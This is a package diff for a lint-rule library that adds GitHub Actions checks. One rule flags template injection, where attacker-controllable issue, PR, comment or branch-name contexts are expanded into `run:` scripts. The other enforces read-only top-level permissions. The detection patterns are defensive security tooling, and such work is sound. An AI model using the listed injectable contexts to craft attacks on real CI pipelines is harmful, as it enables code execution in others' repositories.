@noctcore/lint-meta-rules 0.4.2 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -1
- package/dist/index.cjs +305 -14
- package/dist/index.d.cts +43 -1
- package/dist/index.d.ts +43 -1
- package/dist/index.js +303 -14
- package/docs/rules/github-actions-least-privilege-permissions.md +71 -0
- package/docs/rules/github-actions-no-template-injection.md +93 -0
- package/package.json +3 -3
package/README.md
CHANGED
|
@@ -45,7 +45,8 @@ over the whole catalog.
|
|
|
45
45
|
13 nightcore lint-meta rules are ported as 12 factories — nightcore's `web-file-size-ratchet` and
|
|
46
46
|
`engine-file-size-ratchet` were byte-identical logic and collapse into a single
|
|
47
47
|
`createFileSizeRatchetRule` (instantiated once per capped area). Five CI-hygiene rules (category
|
|
48
|
-
`ci`) are ported from a production NestJS + Vite monorepo, one factory each,
|
|
48
|
+
`ci`) are ported from a production NestJS + Vite monorepo, one factory each, and two GitHub Actions
|
|
49
|
+
security rules (also `ci`) are written for this catalog, for 19 factories in all.
|
|
49
50
|
|
|
50
51
|
| Factory | Source rule(s) | Category | What it enforces |
|
|
51
52
|
| --- | --- | --- | --- |
|
|
@@ -63,6 +64,8 @@ over the whole catalog.
|
|
|
63
64
|
| [`createTestRunnerSegregationRule`](./docs/rules/test-runner-segregation.md) | `test-runner-segregation` | testing | Bun-side and foreign-side test runners are never mixed within a package. |
|
|
64
65
|
| [`createGithubActionsShaPinnedRule`](./docs/rules/github-actions-sha-pinned.md) | `github-actions-sha-pinned` | ci | Workflow `uses:` refs are pinned to a full commit SHA with a `# vN` comment. |
|
|
65
66
|
| [`createGithubActionsRunnerPinnedRule`](./docs/rules/github-actions-runner-pinned.md) | `github-actions-runner-pinned` | ci | Workflow jobs run on a named runner image, never a `*-latest` label. |
|
|
67
|
+
| [`createGithubActionsNoTemplateInjectionRule`](./docs/rules/github-actions-no-template-injection.md) | `github-actions-no-template-injection` | ci | `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names). |
|
|
68
|
+
| [`createGithubActionsLeastPrivilegePermissionsRule`](./docs/rules/github-actions-least-privilege-permissions.md) | `github-actions-least-privilege-permissions` | ci | A workflow's top-level `permissions:` exists, is not `write-all`/`read-all`, and grants no write. |
|
|
66
69
|
| [`createServiceImageDigestPinRule`](./docs/rules/service-image-digest-pin.md) | `service-image-digest-pin` | ci | Workflow service/container images and compose images are pinned by `@sha256:` digest. |
|
|
67
70
|
| [`createDockerfileBaseImageDigestPinRule`](./docs/rules/dockerfile-base-image-digest-pin.md) | `dockerfile-base-image-digest-pin` | ci | Dockerfile `FROM` base images are pinned by `@sha256:` digest. |
|
|
68
71
|
| [`createSecurityScannerVersionParityRule`](./docs/rules/security-scanner-version-parity.md) | `security-scanner-version-parity` | ci | CI and the local pre-push hook pin the same secret-scanner version, and the hook checks it at run time. |
|
package/dist/index.cjs
CHANGED
|
@@ -28,6 +28,8 @@ __export(index_exports, {
|
|
|
28
28
|
createCanonicalHelpersSingleHomeRule: () => createCanonicalHelpersSingleHomeRule,
|
|
29
29
|
createDockerfileBaseImageDigestPinRule: () => createDockerfileBaseImageDigestPinRule,
|
|
30
30
|
createFileSizeRatchetRule: () => createFileSizeRatchetRule,
|
|
31
|
+
createGithubActionsLeastPrivilegePermissionsRule: () => createGithubActionsLeastPrivilegePermissionsRule,
|
|
32
|
+
createGithubActionsNoTemplateInjectionRule: () => createGithubActionsNoTemplateInjectionRule,
|
|
31
33
|
createGithubActionsRunnerPinnedRule: () => createGithubActionsRunnerPinnedRule,
|
|
32
34
|
createGithubActionsShaPinnedRule: () => createGithubActionsShaPinnedRule,
|
|
33
35
|
createLayerRankRule: () => createLayerRankRule,
|
|
@@ -326,8 +328,293 @@ function createFileSizeRatchetRule(options = {}) {
|
|
|
326
328
|
};
|
|
327
329
|
}
|
|
328
330
|
|
|
331
|
+
// src/rules/github-actions-least-privilege-permissions.ts
|
|
332
|
+
var RULE_ID2 = "github-actions-least-privilege-permissions";
|
|
333
|
+
var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
|
|
334
|
+
var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
|
|
335
|
+
function indentOf(line) {
|
|
336
|
+
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
337
|
+
}
|
|
338
|
+
function isContent(line) {
|
|
339
|
+
const trimmed = line.trim();
|
|
340
|
+
return trimmed !== "" && !trimmed.startsWith("#");
|
|
341
|
+
}
|
|
342
|
+
function topLevelKeys(lines) {
|
|
343
|
+
const keys = [];
|
|
344
|
+
lines.forEach((line, index) => {
|
|
345
|
+
const match = TOP_KEY.exec(line);
|
|
346
|
+
if (match === null) return;
|
|
347
|
+
keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
|
|
348
|
+
});
|
|
349
|
+
return keys;
|
|
350
|
+
}
|
|
351
|
+
function blockOf(lines, index) {
|
|
352
|
+
const block = [];
|
|
353
|
+
for (let j = index + 1; j < lines.length; j += 1) {
|
|
354
|
+
const line = lines[j] ?? "";
|
|
355
|
+
if (!isContent(line)) continue;
|
|
356
|
+
if (indentOf(line) === 0) break;
|
|
357
|
+
block.push({ text: stripYamlComment(line), index: j });
|
|
358
|
+
}
|
|
359
|
+
return block;
|
|
360
|
+
}
|
|
361
|
+
function scopeEntries(lines, permissions) {
|
|
362
|
+
if (permissions.value.startsWith("{")) {
|
|
363
|
+
return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
|
|
364
|
+
}
|
|
365
|
+
return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
|
|
366
|
+
const match = SCOPE_ENTRY.exec(text);
|
|
367
|
+
return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
|
|
368
|
+
});
|
|
369
|
+
}
|
|
370
|
+
function jobsWithoutPermissions(lines, jobs) {
|
|
371
|
+
const block = blockOf(lines, jobs.index);
|
|
372
|
+
const jobColumn = indentOf(block[0]?.text ?? "");
|
|
373
|
+
const missing = [];
|
|
374
|
+
let current;
|
|
375
|
+
let keyColumn = -1;
|
|
376
|
+
const settle = () => {
|
|
377
|
+
if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
|
|
378
|
+
};
|
|
379
|
+
for (const { text } of block) {
|
|
380
|
+
const column = indentOf(text);
|
|
381
|
+
if (column === jobColumn) {
|
|
382
|
+
settle();
|
|
383
|
+
current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
|
|
384
|
+
keyColumn = -1;
|
|
385
|
+
continue;
|
|
386
|
+
}
|
|
387
|
+
if (current === void 0 || column < jobColumn) continue;
|
|
388
|
+
if (keyColumn === -1) keyColumn = column;
|
|
389
|
+
if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
|
|
390
|
+
}
|
|
391
|
+
settle();
|
|
392
|
+
return missing;
|
|
393
|
+
}
|
|
394
|
+
function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
|
|
395
|
+
const lines = text.split("\n");
|
|
396
|
+
const keys = topLevelKeys(lines);
|
|
397
|
+
const permissions = keys.find((entry) => entry.key === "permissions");
|
|
398
|
+
const report = (line, message) => ({
|
|
399
|
+
file,
|
|
400
|
+
rule: RULE_ID2,
|
|
401
|
+
message: `line ${line}: ${message}`,
|
|
402
|
+
line
|
|
403
|
+
});
|
|
404
|
+
if (permissions === void 0) {
|
|
405
|
+
const jobs = keys.find((entry) => entry.key === "jobs");
|
|
406
|
+
const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
|
|
407
|
+
if (missing.length === 0) return [];
|
|
408
|
+
return [
|
|
409
|
+
report(
|
|
410
|
+
1,
|
|
411
|
+
`no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
|
|
412
|
+
)
|
|
413
|
+
];
|
|
414
|
+
}
|
|
415
|
+
const shorthand = unquote(permissions.value);
|
|
416
|
+
if (shorthand === "write-all" || shorthand === "read-all") {
|
|
417
|
+
return [
|
|
418
|
+
report(
|
|
419
|
+
permissions.index + 1,
|
|
420
|
+
`top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
|
|
421
|
+
)
|
|
422
|
+
];
|
|
423
|
+
}
|
|
424
|
+
const allowed = new Set(allowTopLevelWrite);
|
|
425
|
+
return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
|
|
426
|
+
({ scope, line }) => report(
|
|
427
|
+
line,
|
|
428
|
+
`top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
|
|
429
|
+
)
|
|
430
|
+
);
|
|
431
|
+
}
|
|
432
|
+
function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
|
|
433
|
+
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
434
|
+
const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
|
|
435
|
+
const ciCritical = options.ciCritical ?? true;
|
|
436
|
+
return {
|
|
437
|
+
id: RULE_ID2,
|
|
438
|
+
category: "ci",
|
|
439
|
+
ciCritical,
|
|
440
|
+
description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
|
|
441
|
+
run(ctx) {
|
|
442
|
+
return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
|
|
443
|
+
(file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
|
|
444
|
+
);
|
|
445
|
+
}
|
|
446
|
+
};
|
|
447
|
+
}
|
|
448
|
+
|
|
449
|
+
// src/rules/github-actions-no-template-injection.ts
|
|
450
|
+
var RULE_ID3 = "github-actions-no-template-injection";
|
|
451
|
+
var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
|
|
452
|
+
var EVENT = String.raw`(?<![\w.])github\.event\.`;
|
|
453
|
+
var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
|
|
454
|
+
var TAINTED_CONTEXTS = [
|
|
455
|
+
new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
|
|
456
|
+
new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
|
|
457
|
+
new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
|
|
458
|
+
new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
|
|
459
|
+
new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
|
|
460
|
+
new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
|
|
461
|
+
new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
|
|
462
|
+
new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
|
|
463
|
+
/(?<![\w.])github\.head_ref\b/u
|
|
464
|
+
];
|
|
465
|
+
var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
|
|
466
|
+
var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
|
|
467
|
+
var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
|
|
468
|
+
var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
|
|
469
|
+
var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
|
|
470
|
+
var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
|
|
471
|
+
var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
|
|
472
|
+
var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
|
|
473
|
+
function indentOf2(line) {
|
|
474
|
+
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
475
|
+
}
|
|
476
|
+
function isContent2(line) {
|
|
477
|
+
const trimmed = line.trim();
|
|
478
|
+
return trimmed !== "" && !trimmed.startsWith("#");
|
|
479
|
+
}
|
|
480
|
+
function parentOf(lines, index, column) {
|
|
481
|
+
for (let j = index - 1; j >= 0; j -= 1) {
|
|
482
|
+
const line = lines[j] ?? "";
|
|
483
|
+
if (isContent2(line) && indentOf2(line) < column) return j;
|
|
484
|
+
}
|
|
485
|
+
return -1;
|
|
486
|
+
}
|
|
487
|
+
function isGithubScriptStep(lines, withIndex) {
|
|
488
|
+
const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
|
|
489
|
+
const stepLine = lines[stepStart] ?? "";
|
|
490
|
+
if (!stepLine.trimStart().startsWith("-")) return false;
|
|
491
|
+
const dashColumn = indentOf2(stepLine);
|
|
492
|
+
for (let j = stepStart; j < lines.length; j += 1) {
|
|
493
|
+
const line = lines[j] ?? "";
|
|
494
|
+
if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
|
|
495
|
+
if (GITHUB_SCRIPT_USES.test(line)) return true;
|
|
496
|
+
}
|
|
497
|
+
return false;
|
|
498
|
+
}
|
|
499
|
+
function safeInputNames(lines) {
|
|
500
|
+
const safe = /* @__PURE__ */ new Set();
|
|
501
|
+
lines.forEach((line, index) => {
|
|
502
|
+
if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
|
|
503
|
+
const column = indentOf2(line);
|
|
504
|
+
let nameColumn = -1;
|
|
505
|
+
let name = "";
|
|
506
|
+
for (const child of lines.slice(index + 1)) {
|
|
507
|
+
if (!isContent2(child)) continue;
|
|
508
|
+
const childColumn = indentOf2(child);
|
|
509
|
+
if (childColumn <= column) break;
|
|
510
|
+
if (nameColumn === -1) nameColumn = childColumn;
|
|
511
|
+
if (childColumn === nameColumn) {
|
|
512
|
+
name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
|
|
513
|
+
continue;
|
|
514
|
+
}
|
|
515
|
+
const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
|
|
516
|
+
if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
|
|
517
|
+
}
|
|
518
|
+
});
|
|
519
|
+
return safe;
|
|
520
|
+
}
|
|
521
|
+
function scriptLines(lines, index, keyColumn) {
|
|
522
|
+
const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
|
|
523
|
+
const block = BLOCK_INDICATOR.test(inline.trim());
|
|
524
|
+
const quoted = /^['"]/u.test(inline.trim());
|
|
525
|
+
const keep = (text) => block || quoted ? text : stripYamlComment(text);
|
|
526
|
+
const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
|
|
527
|
+
for (let j = index + 1; j < lines.length; j += 1) {
|
|
528
|
+
const line = lines[j] ?? "";
|
|
529
|
+
if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
|
|
530
|
+
collected.push({ line: j + 1, text: keep(line) });
|
|
531
|
+
}
|
|
532
|
+
const first = collected.find((entry) => entry.text.trim() !== "");
|
|
533
|
+
if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
|
|
534
|
+
return collected;
|
|
535
|
+
}
|
|
536
|
+
function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
|
|
537
|
+
const found = [];
|
|
538
|
+
for (const pattern of TAINTED_CONTEXTS) {
|
|
539
|
+
const match = pattern.exec(expression);
|
|
540
|
+
if (match !== null) found.push(match[0]);
|
|
541
|
+
}
|
|
542
|
+
if (checkInputs) {
|
|
543
|
+
for (const match of expression.matchAll(INPUT_CONTEXT)) {
|
|
544
|
+
if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
|
|
545
|
+
}
|
|
546
|
+
}
|
|
547
|
+
if (checkStepOutputs) {
|
|
548
|
+
const match = STEP_OUTPUT_CONTEXT.exec(expression);
|
|
549
|
+
if (match !== null) found.push(match[0]);
|
|
550
|
+
}
|
|
551
|
+
return found;
|
|
552
|
+
}
|
|
553
|
+
function checkWorkflowTemplateInjection(file, text, options = {}) {
|
|
554
|
+
const checkInputs = options.checkInputs ?? true;
|
|
555
|
+
const checkStepOutputs = options.checkStepOutputs ?? false;
|
|
556
|
+
const lines = text.split("\n");
|
|
557
|
+
const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
|
|
558
|
+
const violations = [];
|
|
559
|
+
let skipThrough = -1;
|
|
560
|
+
lines.forEach((line, index) => {
|
|
561
|
+
const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
|
|
562
|
+
if (match === null) return;
|
|
563
|
+
const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
|
|
564
|
+
const key = match[3] ?? "run";
|
|
565
|
+
if (key === "script") {
|
|
566
|
+
const parent = parentOf(lines, index, keyColumn);
|
|
567
|
+
if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
|
|
568
|
+
if (!isGithubScriptStep(lines, parent)) return;
|
|
569
|
+
}
|
|
570
|
+
const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
|
|
571
|
+
const script = scriptLines(lines, index, keyColumn);
|
|
572
|
+
skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
|
|
573
|
+
for (const entry of script) {
|
|
574
|
+
for (const expression of entry.text.matchAll(EXPRESSION)) {
|
|
575
|
+
const contexts = taintedContexts(
|
|
576
|
+
expression[1] ?? "",
|
|
577
|
+
checkInputs,
|
|
578
|
+
checkStepOutputs,
|
|
579
|
+
safeInputs
|
|
580
|
+
);
|
|
581
|
+
if (contexts.length === 0) continue;
|
|
582
|
+
violations.push({
|
|
583
|
+
file,
|
|
584
|
+
rule: RULE_ID3,
|
|
585
|
+
message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
|
|
586
|
+
line: entry.line
|
|
587
|
+
});
|
|
588
|
+
}
|
|
589
|
+
}
|
|
590
|
+
});
|
|
591
|
+
return violations;
|
|
592
|
+
}
|
|
593
|
+
function createGithubActionsNoTemplateInjectionRule(options = {}) {
|
|
594
|
+
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
595
|
+
const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
|
|
596
|
+
const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
|
|
597
|
+
const ciCritical = options.ciCritical ?? true;
|
|
598
|
+
return {
|
|
599
|
+
id: RULE_ID3,
|
|
600
|
+
category: "ci",
|
|
601
|
+
ciCritical,
|
|
602
|
+
description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
|
|
603
|
+
run(ctx) {
|
|
604
|
+
const files = globFiles(
|
|
605
|
+
(p) => ctx.glob(p),
|
|
606
|
+
[...workflowGlobs, ...actionGlobs],
|
|
607
|
+
skipDirs
|
|
608
|
+
);
|
|
609
|
+
return files.flatMap(
|
|
610
|
+
(file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
|
|
611
|
+
);
|
|
612
|
+
}
|
|
613
|
+
};
|
|
614
|
+
}
|
|
615
|
+
|
|
329
616
|
// src/rules/github-actions-runner-pinned.ts
|
|
330
|
-
var
|
|
617
|
+
var RULE_ID4 = "github-actions-runner-pinned";
|
|
331
618
|
var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
|
|
332
619
|
var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
|
|
333
620
|
function runnerLabels(lines, start, indent) {
|
|
@@ -359,7 +646,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
|
|
|
359
646
|
if (floatingLabel.test(label)) {
|
|
360
647
|
violations.push({
|
|
361
648
|
file,
|
|
362
|
-
rule:
|
|
649
|
+
rule: RULE_ID4,
|
|
363
650
|
message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
|
|
364
651
|
line: index + 1
|
|
365
652
|
});
|
|
@@ -373,7 +660,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
|
|
|
373
660
|
const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
|
|
374
661
|
const ciCritical = options.ciCritical ?? true;
|
|
375
662
|
return {
|
|
376
|
-
id:
|
|
663
|
+
id: RULE_ID4,
|
|
377
664
|
category: "ci",
|
|
378
665
|
ciCritical,
|
|
379
666
|
description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
|
|
@@ -386,7 +673,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
|
|
|
386
673
|
}
|
|
387
674
|
|
|
388
675
|
// src/rules/github-actions-sha-pinned.ts
|
|
389
|
-
var
|
|
676
|
+
var RULE_ID5 = "github-actions-sha-pinned";
|
|
390
677
|
var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
|
|
391
678
|
var FULL_SHA = /^[0-9a-f]{40}$/u;
|
|
392
679
|
var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
|
|
@@ -401,7 +688,7 @@ function checkWorkflowActionsPinned(file, text) {
|
|
|
401
688
|
}
|
|
402
689
|
const where = `line ${index + 1}`;
|
|
403
690
|
const report = (message) => {
|
|
404
|
-
violations.push({ file, rule:
|
|
691
|
+
violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
|
|
405
692
|
};
|
|
406
693
|
if (ref.startsWith("docker://")) {
|
|
407
694
|
if (!DOCKER_DIGEST.test(ref)) {
|
|
@@ -429,7 +716,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
|
|
|
429
716
|
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
430
717
|
const ciCritical = options.ciCritical ?? true;
|
|
431
718
|
return {
|
|
432
|
-
id:
|
|
719
|
+
id: RULE_ID5,
|
|
433
720
|
category: "ci",
|
|
434
721
|
ciCritical,
|
|
435
722
|
description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
|
|
@@ -654,7 +941,7 @@ function createPackageShapeRule(options = {}) {
|
|
|
654
941
|
}
|
|
655
942
|
|
|
656
943
|
// src/rules/security-scanner-version-parity.ts
|
|
657
|
-
var
|
|
944
|
+
var RULE_ID6 = "security-scanner-version-parity";
|
|
658
945
|
function createSecurityScannerVersionParityRule(options = {}) {
|
|
659
946
|
const scanner = options.scanner ?? "gitleaks";
|
|
660
947
|
const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
|
|
@@ -679,7 +966,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
679
966
|
const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
|
|
680
967
|
const mentionsScanner = new RegExp(name, "iu");
|
|
681
968
|
return {
|
|
682
|
-
id:
|
|
969
|
+
id: RULE_ID6,
|
|
683
970
|
category: "ci",
|
|
684
971
|
ciCritical,
|
|
685
972
|
description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
|
|
@@ -698,7 +985,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
698
985
|
}
|
|
699
986
|
const violations = [];
|
|
700
987
|
const report = (file, message) => {
|
|
701
|
-
violations.push({ file, rule:
|
|
988
|
+
violations.push({ file, rule: RULE_ID6, message });
|
|
702
989
|
};
|
|
703
990
|
if (ciVersions.size > 1) {
|
|
704
991
|
report(
|
|
@@ -751,7 +1038,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
751
1038
|
}
|
|
752
1039
|
|
|
753
1040
|
// src/rules/service-image-digest-pin.ts
|
|
754
|
-
var
|
|
1041
|
+
var RULE_ID7 = "service-image-digest-pin";
|
|
755
1042
|
var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
|
|
756
1043
|
var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
|
|
757
1044
|
var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
|
|
@@ -759,7 +1046,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
|
|
|
759
1046
|
(stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
|
|
760
1047
|
)
|
|
761
1048
|
);
|
|
762
|
-
function
|
|
1049
|
+
function indentOf3(line) {
|
|
763
1050
|
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
764
1051
|
}
|
|
765
1052
|
function workflowImages(text) {
|
|
@@ -811,7 +1098,7 @@ function composeImages(text) {
|
|
|
811
1098
|
if (line.trim() === "" || line.trimStart().startsWith("#")) {
|
|
812
1099
|
continue;
|
|
813
1100
|
}
|
|
814
|
-
const indent =
|
|
1101
|
+
const indent = indentOf3(line);
|
|
815
1102
|
if (indent === 0) {
|
|
816
1103
|
break;
|
|
817
1104
|
}
|
|
@@ -845,7 +1132,7 @@ function violationsFor(file, images, allowUnpinned) {
|
|
|
845
1132
|
const reference = image.split("@")[0];
|
|
846
1133
|
return {
|
|
847
1134
|
file,
|
|
848
|
-
rule:
|
|
1135
|
+
rule: RULE_ID7,
|
|
849
1136
|
message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
|
|
850
1137
|
line
|
|
851
1138
|
};
|
|
@@ -858,7 +1145,7 @@ function createServiceImageDigestPinRule(options = {}) {
|
|
|
858
1145
|
const allowUnpinned = new Set(options.allowUnpinned ?? []);
|
|
859
1146
|
const ciCritical = options.ciCritical ?? true;
|
|
860
1147
|
return {
|
|
861
|
-
id:
|
|
1148
|
+
id: RULE_ID7,
|
|
862
1149
|
category: "ci",
|
|
863
1150
|
ciCritical,
|
|
864
1151
|
description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
|
|
@@ -1143,6 +1430,8 @@ var RULE_FACTORIES = {
|
|
|
1143
1430
|
"canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
|
|
1144
1431
|
"dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
|
|
1145
1432
|
"file-size-ratchet": createFileSizeRatchetRule,
|
|
1433
|
+
"github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
|
|
1434
|
+
"github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
|
|
1146
1435
|
"github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
|
|
1147
1436
|
"github-actions-sha-pinned": createGithubActionsShaPinnedRule,
|
|
1148
1437
|
"layer-rank": createLayerRankRule,
|
|
@@ -1171,6 +1460,8 @@ function createAllRules() {
|
|
|
1171
1460
|
createCanonicalHelpersSingleHomeRule,
|
|
1172
1461
|
createDockerfileBaseImageDigestPinRule,
|
|
1173
1462
|
createFileSizeRatchetRule,
|
|
1463
|
+
createGithubActionsLeastPrivilegePermissionsRule,
|
|
1464
|
+
createGithubActionsNoTemplateInjectionRule,
|
|
1174
1465
|
createGithubActionsRunnerPinnedRule,
|
|
1175
1466
|
createGithubActionsShaPinnedRule,
|
|
1176
1467
|
createLayerRankRule,
|
package/dist/index.d.cts
CHANGED
|
@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
|
|
|
116
116
|
*/
|
|
117
117
|
declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
|
|
118
118
|
|
|
119
|
+
/** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
|
|
120
|
+
interface GithubActionsLeastPrivilegePermissionsOptions {
|
|
121
|
+
/** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
|
|
122
|
+
readonly workflowGlobs?: readonly string[];
|
|
123
|
+
/**
|
|
124
|
+
* Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
|
|
125
|
+
* release workflow whose every job pushes). Default none.
|
|
126
|
+
*/
|
|
127
|
+
readonly allowTopLevelWrite?: readonly string[];
|
|
128
|
+
/** Whether a violation fails CI. Default `true`. */
|
|
129
|
+
readonly ciCritical?: boolean;
|
|
130
|
+
}
|
|
131
|
+
/** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
|
|
132
|
+
declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
|
|
133
|
+
|
|
134
|
+
/** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
|
|
135
|
+
interface GithubActionsNoTemplateInjectionOptions {
|
|
136
|
+
/** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
|
|
137
|
+
readonly workflowGlobs?: readonly string[];
|
|
138
|
+
